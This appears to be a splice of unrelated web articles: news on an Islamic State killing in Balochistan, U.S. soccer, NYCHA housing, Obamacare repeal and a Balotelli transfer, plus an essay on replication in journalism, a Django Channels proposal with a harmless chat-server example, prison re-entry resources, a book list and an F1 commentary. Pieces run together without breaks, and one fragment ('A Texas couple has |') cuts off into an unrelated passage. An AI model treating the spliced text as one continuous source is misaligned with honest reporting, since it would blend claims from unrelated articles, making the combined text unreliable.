Although most foreigners need permission even for short visits to Balochistan, an increasing number of Chinese have settled in the region, mainly to work on projects related to the $57bn China-Pakistan Economic Corridor (CPEC).
“Islamic State fighters killed two Chinese people they had been holding in Baluchistan province, south-west Pakistan,” Amaq said.
There was no immediate confirmation from Pakistani authorities of the killing, and Chinese embassy officials were not immediately available for comment.
Reports circulating on social media and broadcast by some national television channels claimed the couple had been rescued but were denied by a spokesman for Balochistan’s provincial government, Anwarul Haq Kakar.
A security official in Balochistan told the Guardian that the Chinese couple might have held in Mastung, the town targeted in the military operation. A rescue operation had failed to locate the couple, but agents had found a vehicle they suspected had been used for the kidnapping, he said.
Earlier on Tuesday, Pakistan’s military released a statement detailing a three-day raid in the beginning of June on a complex of caves close to the town of Mastung. According to a press release, the operation killed 10-15 “hardcore terrorists” from the Lashkar-e Jhangvi group, who allegedly intended to help Isis establish a foothold in the area.
The operation also recovered an arms cache and destroyed a facility for making improvised explosive devices, the military said.
While an estimated few hundred Islamic State fighters control pockets of territory in neighbouring Afghanistan, the group has struggled to get a foothold in Pakistan. The group was responsible for a bomb attack on the Balochistan senate last month that killed 25 people.Arena says Klinsmann lacked 'rhyme and reason' for many U.S. call-ups
The U.S. national team head coach found himself confused by the lack of roster consistency during Jurgen Klinsmann's time in charge
When Bruce Arena took over as head coach of the U.S. national team for the second time, he compiled a depth chart. Though the player pool was deeper than the one he had at his disposal a decade earlier, Arena still couldn't figure out a rhyme or reason to how his predecessor Jurgen Klinsmann handled that talent.
"One of the things that was confusing as I came in and evaluated the rosters was there was just too many players called in for whatever reason from everywhere and no consistency," Arena told Goal.
Five takeaways from USA's friendly draw
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Asked about some of the foreign-based players who had received scarce attention from the U.S. team despite success abroad, Arena made it clear that, at a certain point, too much experimentation with the player pool can lead to missed opportunities to truly integrate new players.
"A player like (Ingolstadt midfielder Alfredo) Morales is obviously a solid player," Arena said. "Is he as good as the other four or five players in that position? Who knows, but playing in the national team program once every two years is not the best thing either.
"There’s Danny Williams at. We have all these players that play in those positions in. So it’s hard. If you go through the list of players that have been involved in the program over the last two or three years it’s a lot, and I’m not sure I can find a rhyme and reason for a lot of it.
"So I’m trying to get a rhyme and reason here. I’m trying to have a little bit of consistency, and sometimes you’ve just got to make a decision. All things being equal you decide to stick with one guy and you stay with him until he proves otherwise."
Arena has reduced the size of the main pool of players he has called on for recent World Cup qualifiers, but has integrated some new faces he believes are worthy of places. Jorge Villafana went from having never earned a call from Klinsmann to being Arena's first-choice left back. Meanwhile, players such as Sebastian Lletget, Dax McCarty, Kellyn Acosta and Matt Hedges have been incorporated after either being left out or played out of position.
"If you look at what I’ve done over the last four games, there have been some new faces," Arena said. "Lletget is an example, he got hurt unfortunately. There have been other players. However, we’re not at a time where we can just start bringing in players and giving them auditions. We have to win games."Everyone wants one thing: your clicks (and retweets, and likes, and citations). Most writers sincerely want the truth too. Sadly the two are not always compatible. – Chris Blattman
If you’re a public-health nerd, you’re almost certainly aware of the Worm Wars. If you’re a media nerd, you’re almost certainly aware of the Nail Wars. If you haven't heard of either, that's fine. But if you compare the two wars, which are similar in many ways, it's hard to come away feeling good about journalism.
Don't worry: I’m not going to talk about deworming, and I’m not going to talk about the labor practices of New York City nail salons. But these controversies present a great opportunity to look at how we discover what is true. The lesson, if you compare the two wars with each other, is that the truth, insofar as it even exists, is always hard to find – but that it’s particularly hard to find in journalism.
The most impressive achievement of any publication, in science or journalism, is that it changes people's minds on a certain subject. And both the Worm Wars and the Nail Wars are based around groundbreaking blockbusters which did just that. In the case of the Worm Wars, the publication in question was a paper by Edward Miguel and Michael Kremer about intestinal helminths; in the case of the Nail Wars, it was an investigation by Sarah Maslin Nir into nail salons. Both were published by highly prestigious publications: Econometrica and the New York Times, respectively. And both have recently been called into question. The International Journal of Epidemiology published a paper calling the deworming study into question; the New York Review of Books published an article calling the NYT story “demonstrably misleading”. Cue Wars.
The best article about the Worm Wars came from the great science journalist Ben Goldacre, who immediately saw the bigger picture. The original paper from Miguel and Kramer was – is – “an excellent piece of research”, he says. But all research benefits from close study and painstaking attempts to replicate findings. And reanalyzed research is almost impossible to find, in any field.
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That makes little sense, on its face. If you reanalyze an existing dataset, the cost of doing so is a tiny fraction of the cost of the original research, while the scientific value of doing so is almost as great as that created by the original research.
There’s an obvious media analogy here. In media, there are people doing original journalism, and then there are lots of other people who are curating and contextualizing and aggregating and linking and rewriting and explaining and generally doing stuff which is parasitical on the original journalism. Both are important, although some people think that there are too many of the latter genus of journalists, compared to not enough of the former.
Well, that’s not a problem in science. In science, everybody seems to be doing original research, and there aren’t nearly enough people going back and re-examining that original research, or trying to replicate it, or anything like that.
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Goldacre’s great mission in life is to get much more original research out into the open, to enable much more of the kind of reanalyzing and remixing that we now take for granted in the journalism world. It’s a noble mission, and he’s finding real success. If you’re a scientist who refuses to open up your dataset and your detailed methodology, people increasingly start looking at you funny, because that attitude is deeply at odds with the scientific method. If you want to find the truth, you need multiple people all looking critically at the same data, and having an open and transparent debate about how to interpret it.
But here’s the thing: it turns out that the scientific world is actually far, far ahead of the journalistic world on these matters. Yes, the world of online journalism is full of parasites, and a lot of those parasites have real value. But all that the parasites have to go on are published articles: no one is transparent about the process that created those articles. No one shows their work, and no one ever tries to replicate anything.
Shortly after I started working at Condé Nast Portfolio, they sent me on a media-training course, and the main thing I learned at that course was what not to say. If I was being interviewed about a story we had published at Portfolio, a story which, presumably, I would have written, then my answers could only reiterate the facts in the piece. Anything which had been taken out of the piece, anything I had learned along the way but which had not actually been published – anything which might make the story even the tiniest bit more complicated than the final edited article – about all of that I was to be careful to say absolutely nothing at all. (This is why, if you read an article and then you see the journalist interviewed on TV, you'll almost never learn anything new.)
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Not all journalists follow these edicts (I don't, and never did), but the fact that they exist at all tells you a great deal about how journalism works. The minute that anybody starts asking critical questions about any major piece of journalism, the author and the editor(s) tend to go very, very quiet. The most common outcome is the most depressing: a pro-forma and utterly unhelpful response from the publication’s PR department, saying “we stand by our story”.
This passage, for instance, from Richard Bernstein’s NYRB attack on the NYT, surprises only insofar as Bernstein got any response from NYT journalists at all:
I was genuinely mystified by this matter of the classified ads, and I wanted to see if there was some explanation for them. And so, two days after part one of the Times exposé appeared, I emailed several senior Times editors, including Mr. Baquet, as well as Margaret Sullivan, the Times’s public editor, who represents readers’ interests vis-a-vis the editors, pointing out what appeared to be the paper’s misrepresentation of the ads. I received cordial replies from editors, but my questions about the ads were ignored, except by Ms. Sullivan.
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Margaret Sullivan, of course, does not represent the NYT. She is well placed to get answers from editors, but if you’re not Margaret Sullivan, forget it. It’s not going to happen.
Big journalistic stories always have many layers of editors and lawyers involved. And while at some level, in principle, those people are interested in telling the truth about the world, in practice, they are much more interested in making sure that any given statement is factually and legally watertight. Beyond that, they want something big, something punchy, something powerful. They want a narrative, with good guys and bad guys. And, of course, they want their story to be shared, and to elicit government investigations, and to win awards. (Those awards, it’s worth noting, are given out by juries, but the juries generally have no real tools with which they can critically judge the story in question. Journalism-award juries almost never take it upon themselves to re-report the stories they’re judging, or to go back to the editors and ask questions about them.)
Journalism can be superficial or it can be deep, but it’s nearly always going to look rushed and hurried in comparison to peer-reviewed empirical science. And yet, as Goldacre has reminded us many times, even peer-reviewed empirical science is often wrong. (As John Ioannidis famously demonstrated, “Most Published Research Findings Are False.”) If a scientific paper’s findings are surprising, there’s a very, very good chance that it’s wrong: extraordinary claims require extraordinary evidence. This is a known problem, with a known solution – and the solution is to check, to revisit, to reanalyze.
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And then there’s journalism, where reporters come out with shocking and surprising stories every day, and no one ever gets to reanalyze the underlying reporting. Think of all the people who end up not being quoted at all, or who are only quoted anonymously, and remember that in journalism, what you leave out can be much more important than what you put in. (That’s Bernstein’s main charge against the NYT’s nail-salon story: that the paper was highly selective about what it published, and that while certain things in the story might have been narrowly true, the story as a whole was not the whole truth.) Journalists know full well how deeply wrong journalism can be and often is, but we try to put that out of our minds. There's even a name for that self-deception: the Gell-Mann Amnesia effect.
It’s entirely possible that the NYT’s story was spot-on. The problem is that we have nothing to check it against. Woe betide any journalist who pitches an editor on a story examining wage conditions in New York’s nail salons: you’d be laughed out of the room immediately. Now that the NYT has published its version of the story, the story has Been Done. The rest of the media doesn’t look at it and think “wow, there’s a subject we should examine ourselves”. Rather, they think the exact opposite: “there’s a subject we must Never Touch”.
Journalism would be greatly improved were it to learn a lesson from empirical science, which is that even the best and most assiduous work can turn out on examination to be deeply flawed. That doesn’t mean the original piece was sloppy, it just means that everybody is human, and that the truth is usually messy, and hard to find, and even harder to encapsulate in a neat story with a compelling narrative. Whenever there's only one story on any given subject, then relying on that one story is always going to be dangerous. And yet, the way the journalism world works, once there’s one big compelling story, no one else tends to ever go near that area again.
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The result is unedifying war. On the one side you have the reporter and editors who worked on the original story, and who have every incentive to defend it as being exhaustive and comprehensive and utterly correct in all particulars. On the other side you have people who, in the absence of any extant counternarratives, are forced to start attacking the original story as being full of journalistic malfeasance. Both sides claim that the other side is being highly selective and disingenuous in terms of choosing facts and making arguments, and things rapidly become personal, with sides being picked and enemies being made. At no point does everybody agree to work together to help reveal a bigger truth; rather, everything descends into a shooting war, from which no one emerges unscathed.
At some level, everybody knows that this state of affairs is suboptimal. The problem is that there’s no Ben Goldacre of journalism, no one urging cooperation and replication in the service of a greater good. Science is a great enterprise, mostly run by governments and not-for-profit universities, where everybody in a sense has the same job. Scientific rivalries can be vicious, to be sure, but virtually all scientists at least pay lip service to an ideal whereby all of science is working collaboratively to deepen our knowledge of the world. The cut-throat for-profit world of journalism, by contrast, is much more antagonistic. What’s more, journalism is also infested with lawyers, who always give the same advice: say nothing that hasn’t been carefully vetted; be as unhelpful as possible. That advice is great if you want to avoid a lawsuit. But it’s horrible for anybody who’s simply interested in finding out what’s true.
If we’ve learned anything from science, it’s that gathering knowledge is a complex, iterative task involving thousands of different people. We think we know things, we test them, we refine what we know, we disappear down wrong paths, we turn around and go back, and we slowly end up knowing more and more over time. Thanks to that process, even the Worm Wars have been reasonably civil, at least by journalism-war standards: no one's accusing anybody else of being a disgrace to their profession. And the analyses have been very well-informed.
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Sadly, that’s not how journalism works. In journalism, you have a big hit or you don’t, and either way everybody generally assumes that you’re right unless someone says that you’re wrong, in which case there’s a fight and somebody’s reputation is likely to end up severely damaged. What I'd love to see would be a nonprofit journalism outfit which did nothing but re-report any big or interesting scoops. The idea would not be antagonistic: rather, the best outcome would be a true positive, which confirmed and underscored the original finding. But I'm not holding my breath.
Journalists are, at heart, storytellers more than they are empiricists. If you think that upon reading a single article, or watching a single documentary, you are magically in possession of The Truth – about nail salons or anything else – then you are deluding yourself. You’re only getting a single problematic sliver of the truth. And, sadly, that single problematic sliver is likely to be all you're ever going to get.The de Blasio administration has singled out two NYCHA developments where they plan to sell or lease land to private entities for the development of new market rate and affordable housing. The Daily News reports that Wyckoff Gardens in Boerum Hill and Holmes Towers on the Upper East Side have both been pinpointed by the city to launch its controversial NextGeneration program, in which vacant or underutilized space within NYCHA developments will either be sold or put on a 99-year lease for the development of buildings that are half market rate and half affordable.
Under the plan, two underutilized parking lots at Wyckoff Gardens will give rise to 550 or 650 apartments. At Holmes Towers, a playground, which NYCHA will relocate, will become the site of one 350- to 400-apartment building. The plan will create 1,000 new units of housing in the "high value" neighborhoods while also generating revenue for NYCHA.
Earlier last week, a NYCHA official attending a Community Board 3 meeting revealed that the Lower East Side might also be singled out for the plan, which will unfold over the next ten years and bring as many as 17,000 new apartments to the city. NextGeneration shouldn't be confused with the failed Bloomberg-era Land Lease policy, in which the city proposed leasing land to private developers for buildings with 80-percent market rate apartments and 20-percent affordable housing. The de Blasio administration claims that NextGeneration will entail a more inclusive planning process in which the input of the communities and public housing tenants are weighed. NYCHA also says that a "significant portion" of the funds garnered from the two new developments will be used to fund upgrades to Wyckoff Gardens and Holmes Towers, which both each need nearly $50 million of improvements.
· Hundreds of market-rate apartments to be built at NYCHA developments in Brooklyn, Manhattan under plan by Mayor de Blasio [NYDN]
· NYCHA Eyeing Lower East Side For Market Rate Apartments [Curbed]
· All NYCHA coverage [Curbed]The code inside the consumer runs like normal Django view code, complete with things like transaction auto-management if desired - it doesn't have to do anything special or use any new async-style APIs.
On top of that, the old middleware-url-view model can itself run as a consumer, if we have a channel for incoming requests and a channel (per client) for outgoing responses.
In fact, we can extend that model to more than just requests and responses; we can also define a similar API for WebSockets, but with more channels - one for new connections, one for incoming data packets, and one per client for outgoing data.
What this means is that rather than just reacting to requests and returning responses, Django can now react to a whole series of events. You could react to incoming WebSocket messages and write them to other WebSockets, like a chat server. You could dispatch task descriptions from inside a view and then handle them later in a different consumer, once the response is sent back.
The Implementation
Now, how do we run this? Clearly it can't run in the existing Django WSGI infrastructure - that's tied to the request lifecycle very explicitly.
Instead, we split Django into three layers:
The interface layers, initially just WSGI and WebSockets at launch. These are responsible for turning the client connections into channel messages and vice-versa.
The channel layer, a pluggable backend which transports messages over a network - initially two backends, one database-backed and one redis-backed.
The worker layer, which are processes that loop and run any pending consumers when messages are available for them.
The worker is pretty simple - it's all synchronous code, just finding a pending message, picking the right consumer to run it, and running the function until it returns (remember, consumers can't block on channels, only send to them - they can only ever receive from one, the one they're subscribed to, precisely to allow this worker model and prevent deadlocks).
The channel layer is pluggable, and also not terribly complicated; at its core, it just has a "send" and a "receive_many" method. You can see more about this in the prototype code I've written - see the next section.
The interface layers are the more difficult ones to explain. They're responsible for interfacing the channel-layer with the outside world, via a variety of methods - initially, the two I propose are:
A WSGI interface layer, that translates requests and responses
A WebSocket interface layer, that translates connects, closes, sends and receives
The WSGI interface can just run as a normal WSGI app (it doesn't need any async code to write to a channel and then block on the response channel until a message arrives), but the WebSocket interface has to be more custom - it's the bit of code that lets us write our logic in clean, separate consumer functions by handling all of that connection juggling and keeping track of potentially thousands of clients.
I'm proposing that the first versions of the WebSocket layer are written in Twisted (for Python 2) and asyncio (for Python 3), largely because that's what Autobahn|Python supports, but there's nothing to stop someone writing an interface server that uses any async tech they like (even potentially another language, though you'd have to then also write channel layer bindings).
The interface layers are the glue that lets us ignore asynchrony and connection volumes in the rest of our Django code - they're the things responsible for terminating and handling protocols and interfacing them with a more standard set of channel interactions (though it would always be possible to write your own with its own channel message style if you wanted).
An end-user would only ever run premade ones; they're the code that solves the nasty part of the common problem, and all the issues about tuning and tweaking them fall to Django - and I think that's the job of a framework, to handle those complicated parts for you.
Why Workers?
Some people will wonder why this is just a simple worker model - there's nothing particularly revolutionary here, and it's nowhere near rewriting Django to be "asynchronous" internally.
Basically, I don't think we need that. Writing asynchronous code correctly is difficult for even experienced programmers, and what would it accomplish? Sure, we'd be able to eke out more performance from individual workers if we were sending lots of long database queries or API requests to other sites, but Django has, for better or worse, never really been about great low-level performance.
I do think it will perform slightly better than currently - the channel layer, providing it can scale well enough, will "smooth out" the peaks in requests across the workers. Scaling the channel layer is perhaps the biggest potential issue for large sites, but there's some potential solutions there (especially as only the channels listened to by interface servers need to be global and not sharded off into chunks of workers)
What I want is the ability for anyone from beginner programmers and up to be able to write code that deals with WebSockets or long-poll requests or other non-traditional interaction methods, without having to get into the issues of writing async code (blocking libraries, deadlocks, more complex code, etc.).
The key thing is that this proposal isn't that big a change to Django both in terms of code and how developers interact with it. The new abstraction is just an extension of the existing view abstraction and almost as easy to use; I feel it's a reasonably natural jump for both existing developers and new ones working through tutorials, and it provides the key features Django is missing as well as adding other ways to do things that currently exist, like some tasks you might send via Celery.
Django will still work as it does today; everything will come configured to run things through the URL resolver by default, and things like runserver and running as a normal WSGI app will still work fine (internally, an in-memory channel layer will run to service things - see the proper proposal for details). The difference will be that now, when you want to go that step further and have finer control over HTTP response delays or WebSockets, you can now just drop down and do them directly in Django rather than having to go away and solve this whole new problem.
It's also worth noting that while some kind of "in-process" async like greenlets, Twisted or asyncio might let Django users solve some of these problems, like writing to and from WebSockets, they're still process local and don't enable things like chat message broadcast between different machines in a cluster. The channel layer forces this cross-network behaviour on you from the start and I think that's very healthy in application design; as an end-developer you know that you're programming in a style that will easily scale horizontally.
Show Me The Code
I think no proposal is anywhere near complete until there's some code backing it up, and so I've written and deployed a first version of this code, codenamed channels.
You can see it on GitHub: https://github.com/andrewgodwin/django-channels
While this feature would be rolled into Django itself in my proposal, developing it as a third-party app initially allows much more rapid prototyping and the ability to test it with existing sites without requiring users to run an unreleased version or branch of Django.
In fact, it's running on this very website, and I've made a simple WebSocket chat server that's running at http://aeracode.org/chat/. The code behind it is pretty simple; here's the consumers.py file:
import redis from channels import Channel redis_conn = redis.Redis("localhost", 6379) @Channel.consumer("django.websocket.connect") def ws_connect(path, send_channel, **kwargs): redis_conn.sadd("chatroom", send_channel) @Channel.consumer("django.websocket.receive") def ws_receive(channel, send_channel, content, binary, **kwargs): # Ignore binary messages if binary: return # Re-dispatch message for channel in redis_conn.smembers("chatroom"): Channel(channel).send(content=content, binary=False) @Channel.consumer("django.websocket.disconnect") def ws_disconnect(channel, send_channel, **kwargs): redis_conn.srem("chatroom", send_channel) # NOTE: this does not clean up server crash disconnects, # you'd want expiring keys as well real life.
Obviously, this is a simple example, but it shows how you can have Django respond to WebSockets and both push and receive data. Plenty more patterns are possible; you could push out chat messages in a post_save signal hook, you could dispatch thumbnailing tasks when image uploads complete, and so on.
There's not enough space here for all the examples and options, but hopefully it's given you some idea what I'm going for. I'd also encourage you to, if you're interested, download and try the example code; it's nowhere near consumer ready yet, and I aim to get it much further and get better documentation soon, but the README should give you some idea.
Your feedback on the proposal and my alpha code is more than welcome; I'd love to know what you think, what you don't like, and what issues you're worried about. You can chime in on the django-developers thread, or you can email me personally at andrew@aeracode.org.The Congressional Budget Office is estimating that the federal deficit would increase by $230 billion over the next decade if Republicans are successful in repealing President Obama’s healthcare law. The CBO also found that repeal would leave 32 million more Americans uninsured over the next decade. Despite the CBO’s finding, House Republicans are pushing forward to repeal the law.
Rep. Steve King (R-Iowa): “I suggest that we pull Obamacare out by the roots — root and branch; lock, stock and barrel — eradicate it completely, and leave not one vestige of its DNA left behind, because it is a malignant tumor into the spirit of America’s vitality and constitutionality. And if it’s allowed to have any particle left, it will regrow again, it will metastasize like a tumor, and grow back, and it will consume the liberty and the vigor of the American people. We must pull it out by the roots. This Congress has been elected to do so.”
While the House is expected to pass a bill next week repealing the healthcare legislation, Senate Democrats say the measure has no chance of passing the Senate.Liverpool want assurances that striker Mario Balotelli will behave himself before they commit themselves to signing him from AC Milan.
- Italian media: Balotelli walks alone
- Mario Balotelli controversies
- Marcotti: Balotelli deal great for Liverpool
- Paul: Milan need to address old mistakes
- Carragher doubts Balotelli will start
Balotelli is set for a move to Anfield after the two clubs agreed a 16-million-pound fee on Thursday, but the Reds have told him he must agree to clean up his act if the deal is to be completed, sources have told ESPN FC.
Liverpool are ready to insist that stringent behaviour clauses are written into Balotelli's contract.
Chief executive Ian Ayre held talks in Liverpool on Thursday with Mino Raiola, the forward's agent, and those were continuing on Friday. Balotelli has yet to arrive in the U.K., and there is currently no timetable for him to fly in from Italy.
The transfer has come as something of a surprise, given that manager Brendan Rodgers said on Aug. 3 that there was no chance of the Italy international moving to Anfield.
Rodgers is known to have had doubts about the player's temperament and is wary of disrupting the team spirit he has created at Anfield.
That is why the club want clauses in Balotelli's contract that will see the striker fined if he misbehaves significantly.
Liverpool have been seeking a top-class striker to strengthen their forward line after the sale of Luis Suarez to Barcelona on July 16.
A deal for QPR's Loic Remy collapsed on July 27 amid concerns about his medical, and the Reds have not pursued a deal for free agent Samuel Eto'o, a striker they have been considering a move for since his release by Chelsea at the end of last season.
Liverpool initially approached Milan about the possibility of taking Balotelli on loan, but discussions hit a buffer as the Serie A club rejected the idea of a break clause in the deal if the striker misbehaved.
But the Reds were willing to meet Milan's asking price of 16 million pounds to buy the player -- significantly less than the 25 million pounds that clubs were being quoted earlier in the summer.
That has cleared the way for Balotelli to return to England, having spent two-and-a-half years at Manchester City after joining from Inter Milan in July 2010.
His time at City was also affected by controversy, including incidents in which fireworks were set off in his bathroom and he threw a dart at a youth-team player, in addition to a public fallout with manager Roberto Mancini.
However, he helped City end a 35-year wait for a trophy as they lifted the FA Cup in 2011, then set up Sergio Aguero's stoppage-time winner against QPR on the final day of the following Premier League season as the club became champions of England for the first time since 1968.
The 24-year-old was unable to help Italy beyond the group stage at this year's World Cup in Brazil, although he did score the winner as they beat England 2-1 in their opening match.
Glenn Hayes, an employment law partner at national law firm Irwin Mitchell, said in a news release: "Balotelli is clearly a world-class player and if Liverpool completes the deal they will of course be hoping that the player performs well on and off the pitch.
"His past record does suggest that there is potential for future misbehaviour and Liverpool will, I expect, be ensuring that they protect themselves.
"There are a number of non-standard options that the club has and I would not be surprised if they were written into his contract.
"The key will be for Liverpool to define the parameters for what will constitute bad behaviour. This is particularly important in an industry which seemingly often makes its own rules, and where general employment law principles are often overlooked."A Texas couple has |
there who had lost their parental rights and who would have to battle to reunite with their children; women who had nowhere to go and so would be heading to homeless shelters; women who had never worked in the mainstream economy and must find real jobs or end up back in prison. I had none of these concerns, because I was so much luckier than the majority of women I’d been living with in Danbury, but I felt disrespected by how trivial these classes were turning out to be.
Many groups are working to change these conditions, however, such as The Women’s Prison Association Re-entry Services. There are regional initiatives too, like Jersey’s Female Offender Re-Entry Group Effort, and Mercy Programs Northeast’s LIFE Prison Reentry Program for Women Prisoners, which provides business education programs to Oregon female convicts focused on teaching skills required to establish self-sufficiency and economic stability through business, entrepreneurship and pro-social life skills.
The Second Chance Act of 2008 authorized federal grants to government agencies and nonprofit organizations designed to reduce recidivism. Facing overcrowding and budget cuts, California, Michigan, New York and other states have begun expanding job programs for prisoners.
The Patient Protection and Affordable Care Act should grant both prisoners and former prisoners comprehensive and continuous health care starting in January 2014. Clinics like The Transitions Clinic in the Bay Area and Unity Clinic in DC offer health care to parolees and ex-prisoners, and A New Way of Life Re-Entry Project provides housing and re-entry support for women and children in South Central Los Angeles.
Ultimately, Orange is The New Black isn’t a documentary about imprisoned women and the experience of women in the deeply flawed and continually worsening American prison system. It’s a television show, intended more to engage and entertain than educate or agitate. And Kerman’s book isn’t the memoir of a woman whose life stands as testament to how fundamentally broken the system is — if anything, it’s a book that uses the relative ease with which Kerman navigated the system to highlight the difficulties that other women, most notably poor women and women of color, face. Ultimately, the message is that Kerman (and Chapman) are able to get out okay, to have “normal” lives — and that this affords them the opportunity to pass on knowledge about those who haven’t because they can’t. The vast majority of women in the prison system are not going to be able to continue with their lives largely unaltered by the Department of Corrections, and truthfully, neither the book nor the show probably go far enough in terms of depicting the Sisyphean situation incarcerated women are forced into. But it does seem that both are making a good faith effort to push that conversation forward, and given how desperately this conversation needs to be had on a national level, it seems smart to take the show up on its offer and use this as a jumping off point to start talking about the real women whose stories are implied on the screen.
Resources For Further Action:
The Drug Policy Alliance: The Drug Policy Alliance envisions a just society in which the use and regulation of drugs are grounded in science, compassion, health and human rights, in which people are no longer punished for what they put into their own bodies but only for crimes committed against others, and in which the fears, prejudices and punitive prohibitions of today are no more.
Incite! Women of Color Against Violence: INCITE! Women of Color Against Violence is a national activist organization of radical feminists of color advancing a movement to end violence against women of color and our communities through direct action, critical dialogue and grassroots organizing.
Women’s Prison Association: WPA is a service and advocacy organization committed to helping women with criminal justice histories realize new possibilities for themselves and their families. Our program services make it possible for women to obtain work, housing, and health care; to rebuild their families; and to participate fully in civic life. Through the Institute on Women & Criminal Justice, WPA pursues a rigorous policy, advocacy, and research agenda to bring new perspectives to public debates on women and criminal justice.
Women & Prison: A Site For Resistance: Women and Prison: A Site for Resistance makes visible women’s experiences in the criminal justice system. Documenting these stories is integral to this project of resistance. The stories are supported by a collection of resources, such as organizations, reports, essays, and links to a wide range of information on women and prison. The contents of this website are fluid and constantly changing. We expect to add stories, articles and resources on a regular basis. Your feedback and contributions are welcome.
Just Detention: Just Detention International is a health and human rights organization that seeks to end sexual abuse in all forms of detention. The rape of detainees, whether committed by corrections staff or by inmates, is a crime and is recognized under international law as a form of torture. In the U.S., sexual assault in detention has reached epidemic levels, with more than 200,000 people subjected to this form of violence every year.
Nation Inside: Nation Inside is a platform that connects and supports people who are building a movement to systematically challenge mass incarceration in the United States.
Families Against Mandatory Minimums: FAMM advocates for state and federal sentencing reform, and mobilizes thousands of individuals and families whose lives are adversely affected by unjust sentences to work constructively for change.
Also, Piper Kerman has a list of Justice Reform Organizations on her website.1. The Kelloggs: The Battling Brothers of Battle Creek by Howard Markel (Pantheon)
John and Will Kellogg “fought, litigated, and plotted against one another with a passion more akin to grand opera than the kinship of brothers,” writes medical historian Markel, in his insightful and entertaining dual biography of the battling Battle Creek boys. Markel makes the case that the eccentric and visionary Kellogg brothers – a physician who advanced a new vision of “wellness” and the founder of a corn flake company that revolutionized American food -- became the “industrial kings of health.” Raised on the wooded Michigan frontier and in the Seventh-day Adventist Church, and rising to extraordinary financial and cultural success, the Kelloggs’ story, Markel argues, is a revealing window into America as it evolved from the Civil War to World War II.
2. Life in Code: A Personal History of Technology by Ellen Ullman (MCD/Farrar, Strauss & Giroux)
Published two decades ago, Ullman’s classic memoir Close to the Machine recounted her experiences in the very new, very male world of algorithms, systems, and code. A digital pioneer and later a novelist, Ullman distinguished herself with her nuanced view of the tech revolution. “To program,” she writes at the beginning of her new memoir, “is to translate between the chaos of human life and the line-by-line world of computer language.” In the book’s forceful conclusion, Ullman raises the role of technology in Trump’s unexpected election, and what she describes as the “unspooling of a thread” that led to disintermediation, the removal of gatekeepers and middlemen in economic and social relationships. “Websites could proclaim whatever truths they wished,” Ullman argues, in this often brilliant book. “Anyone who stood between you and your desires was an interloper.”
3. Eat Only When You’re Hungry by Lindsay Hunter (Farrar, Straus & Giroux)
Hunter has a gift for dark fiction, rendered with a tender and generous touch. In her new novel, a retired West Virginia accountant, a twice-married, obese, compulsive overeater with a drinking problem, sets off in his RV to find his missing son, a drug addict. In Hunter’s smart twist on the classic American road trip, the novel becomes an instant-gratification junk-food tour through the national underbelly. The journey inspires questions about insatiable needs that extend beyond food, including family ties and the thin line between craving and addiction.
4. Bones: Brothers, Horses, Cartels, and the Borderland Dream by Joe Tone (One World)
Born in a Mexico border town, one brother heads to Dallas, works as a stonemason, cares for his family, and seemingly rejects the lure of the drug trade. The other remains south of the border and rises up through one of Mexico's bloodiest crime and drug cartels. But blood, drugs, and money prove too alluring to keep even a good brother from falling. In his riveting debut book, Dallas Observer editor Tone chronicles these brothers, who became enmeshed in the American quarter-horse racing and breeding industry, eventually attracting the attention of an FBI agent who caught on to their multi-faceted money-laundering scheme. Working with rich material, Tone constructs a powerful narrative that reveals tensions of class and race -- and unbreakable family bonds.
5. Red Light Run: Linked Stories by Baird Harper (Scribner)
The centrifugal force of the eleven connected stories in this collection is a drunk-driving accident that leaves one person dead and lands another in prison. Harper, an acclaimed writer of short-fiction and winner of the Nelson Algren Prize, employs a wide range of narrative voices in telling the stories of those touched by the tragedy. Grief radiates through a Midwestern town that has fallen on hard times, and against this decaying backdrop of a trailer park, casino, and prison, there is also an sudden infestation of beetles. While navigating sadness, broken relationships, and swarming insects, Harper’s wry humanity shines brightly in the stories of this dazzling collection.Formula One chooses its race venues for a host of reasons. In some cases, we are lured to pastures new by the siren call of money. In others, such as the United States, we push to establish ourselves in valuable consumer markets.
Legacy protection?
And in other cases, we appear to base our calendar decisions on little more than the force of habit.
The Australian Grand Prix is a perfect example. Since the race moved from Adelaide to Melbourne it can no longer claim any form of historic status, and even the Adelaide incarnation would have struggled to position itself as a legacy race when compared with the likes of Spa, Monza, Silverstone, and Monaco. Not that legacy is any guarantee of protection, as the loss of the French Grand Prix proved in 2009.
The problem with Melbourne
The race in Melbourne is a troublesome one. However popular the grand prix is with members of the F1 circus and fans around the world, it is not well-loved in the state of Victoria. Formula One’s arrival into town coincides with endless op-eds in the local newspapers bemoaning everything from the sport’s effect on traffic in and around Albert Park to the cost to the taxpayer of hosting the race.
Now that F1 has put Melbourne on the map, they argue, there is no need to keep paying through the eyeballs for global exposure when everything from the Australian Open to the Melbourne Cup boosts the city’s profile for considerably less money.
In addition to the negative publicity that dogs the duration of our stay in Albert Park, finding a good time to stage the race is not easy. A night race would be great for European TV audiences, but given that the track is in the heart of a residential neighbourhood everything from the lights to the noise would be subject to complaint from local residents who already moan tirelessly about the inconvenience of having Formula One as a temporary neighbour.
As a compromise, we have a late afternoon start time that makes Melbourne more palatable viewing for the sport’s core audience in Europe, but which leaves us vulnerable to the falling twilight in the event of red flags and Safety Cars.
Logistics issue
Then there is the logistical challenge, made all the more obvious by this year’s decision to position Australia as a standalone. Geographically distant from almost everywhere, Australia is the longest of the long haul flights, making getting replacement parts trackside a two-day job. The impact of jet lag is such that F1 personnel leave early for the race, ramping up the cost of hotel bills for teams and media alike. Sea freight must be organised in December and despatched while the cars are still doing their exploratory laps of Jerez in winter testing.
Then there is the market itself. Australia is a country well-versed in motorsport, with a passionate and knowledgeable fanbase. Drivers love to race in front of the packed grandstands, and the buzz in Albert Park is on a par with that found in places like Silverstone and Montreal. On that front, there are no complaints (although Adelaide was said to be even buzzier).
The Australian market
But the Australian car market is dead in the water, and by the end of 2017 there will no longer be an automotive manufacturing industry in the country. Ford stop production in 2016, and homegrown heroes Holden will cease building cars in Australia in 2017, with both companies pointing to the high costs of labour and materials making sustained involvement untenable.
In any case, those automotive brands represented in Formula One have never seen Australia as a core market, with local sales linked to local brands represented in the V8 Supercar Championship.
It is a similar story where F1’s sponsors are concerned. Australia - like Europe - is a mature market home to a combination of homegrown and international brands. Brand loyalty has long since been established, and there is little growth to be found through targeting the Australian market, particularly when the combination of a strong local currency, high import duties, and the punitive cost of round-the-world shipment are taken into account.
Why are we there?
So if much of the local population doesn’t want us, and our brands and sponsors have little to gain from Australian exposure, why does Formula One continue to take that long flight to Melbourne at the start of every season?
